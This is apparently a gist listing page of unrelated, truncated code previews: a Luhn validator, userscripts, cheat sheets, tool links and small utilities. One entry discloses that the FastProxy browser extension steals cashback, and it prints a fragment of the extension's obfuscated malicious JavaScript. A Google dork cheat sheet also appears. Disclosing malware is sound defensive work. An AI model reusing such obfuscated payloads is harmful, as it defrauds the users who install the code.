EmmanuelGuther

class LuhnValidator {
    fun isValid(cardNumber: String): Boolean {
        var s1 = 0
        var s2 = 0
        val reverse = StringBuffer(cardNumber).reverse().toString()
        for (i in reverse.indices) {
            val digit = Character.digit(reverse[i], 10)
            when {
                i % 2 == 0 -> s1 += digit
                else -> {

promo4ka

// ==UserScript==
// @name         showDeleteMessages
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Показывает удаленные сообщения в открытом чате (ВКонтакте)
// @author       @eee
// @match        https://vk.com/im*
// @grant        none
// ==/UserScript==

bradtraversy

MongoDB Cheat Sheet

Show All Databases

show dbs

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sundowndev

Google dork cheatsheet

Search filters

Filter	Description	Example
allintext	Searches for occurrences of all the keywords given.	allintext:"keyword"
intext	Searches for the occurrences of keywords all at once or one at a time.	intext:"keyword"
inurl	Searches for a URL matching one of the keywords.	inurl:"keyword"
allinurl	Searches for a URL matching all the keywords in the query.	allinurl:"keyword"
intitle	Searches for occurrences of keywords in title all or one.	intitle:"keyword"

ValdikSS

Браузерное расширение FastProxy загружает с сервера вредоносный код,
    перенаправляющий cashback от различных интернет-магазинов автору расширения.
    
Обфусцированный код:

$guNnnrhIFAMI27BsMFv=function(a){return"string"==typeof $guNnnrhIFAMI27BsMFv.list[a]?$guNnnrhIFAMI27BsMFv.list[a].split("").reverse().join(""):$guNnnrhIFAMI27BsMFv.list[a]},$guNnnrhIFAMI27BsMFv.list=["of\xE6\xFBiht\xFBlru?lxp\xFBepyt\x04u\xDFv?di_txe?re\xECh?htgnel?rekram?\xB7\x04cna\xE6f?urdj\x04man?omorpi\xDF?g\xE6kc\xF4b?tnemucod?urdj\xAB\xD0l\xABapc\xFB\xECl?\xBFH\xC3?g\xE6r\xD1bus?ofnIegnahc?\xEB\x04doNtnerap?\x0FTtes?fOxednI\xD1al\x04saCrewoLot\x04tadpu?\xF4\xC8c\xAB\xC1\xDE\xABaz\x03\xAB\x0FTraelc?\x7Far\xD1ig","\xAEX\xAD*' [:_a\x1F{\xBCV(2\xCD\xF3T\xD4\x1F}\xC9)0005\xBC}\xA6V(\xD3\xDB\xCD\xA63(va\xBE\x06\x1F ;)1\xBCi(ec\x1CT\xA5's\x7Fpo-\xC0-x\xF2Va\xD6(\xE8T\xCAVa\xE7=>i ;1-U\xB5T=\x0E1a\xCAT\xD8\xA51\x17V C\xA5( P\xDD\xC9}\xA3\x1F}\xA6a\xB2Z\xA9Z\xC2Sa-8<Sa-8\xB0x\xB2pa\xA9pa\xC28-\xDE<8-\xDE\xB0d\xB24\xA94\xC2Ra-mh<Ra-mh\xB0

unitycoder

• simple youtube downloader https://cobalt.tools/
• image to pixel art filter https://x1vi.github.io/pixelArtConverter/
• optimize image https://squoosh.app/ source https://github.com/GoogleChromeLabs/squoosh
• audio to midi https://ai-midi.com/
• all kind of useful resources (for devs) https://threejsresources.com/
• hex editor in browser https://hex.dance/
• youtube downloader https://cobalt.tools/
• compress video easily https://tools.rotato.app/compress
• tilemap template & bitmask script generator https://www.boristhebrave.com/permanent/23/03/tileset-creator/?autotile=Corner&cellType=Square&rotation=None&terrainCount=2&overlay=False&skipCornerTiles=False&drawStyle=Straight
• code in 8bit javatari https://8bitworkshop.com/

ahmadarif

import { createReadStream, statSync } from 'fs';

export const videoStream = (req: any, path: string) => {
  const stat = statSync(path);
  const fileSize = stat.size;
  const range = req.headers.range;
  const res = req.res;

  if (range) {
    const parts = range.replace(/bytes=/, '').split('-');

aaroniker

$breakpoints: (
    xs: 576px,
    sm: 768px,
    md: 992px,
    lg: 1200px
);

@mixin min($breakpoint) {
    @if map-has-key($breakpoints, $breakpoint) {
        @media (min-width: map-get($breakpoints, $breakpoint)) {

Sominemo

/**
 * @typedef {Object} OnWordListenerInfo
 * @property {function[]} callback Callbacks for the listener
 * @property {boolean} case Case senisvity
 * @property {boolean} debug Debug mode for the listener
 * @property {number} stage Symbol number which will be checked on the next keypress
 * @property {string} string String the item is listening for
 */

class OnWordListener {

MPThLee

/**
  * !!!! This code doesn't work anymore !!!!
  * 
  * - You can check working code on comments. I won't update this code anymore.
  *
  * Also, I just decided to remove this code. You can check revisions for old code.
  * Since this code was made for discord client that almost 5 years ago, It seems like doesn't work anymore.
  * I don't want people keep arguing in the comments, i decided to remove this code.
  *
  * Note: This code is now fulfilled with Javascript comments. This code won't work even if you pasted to console. doesn't do anything.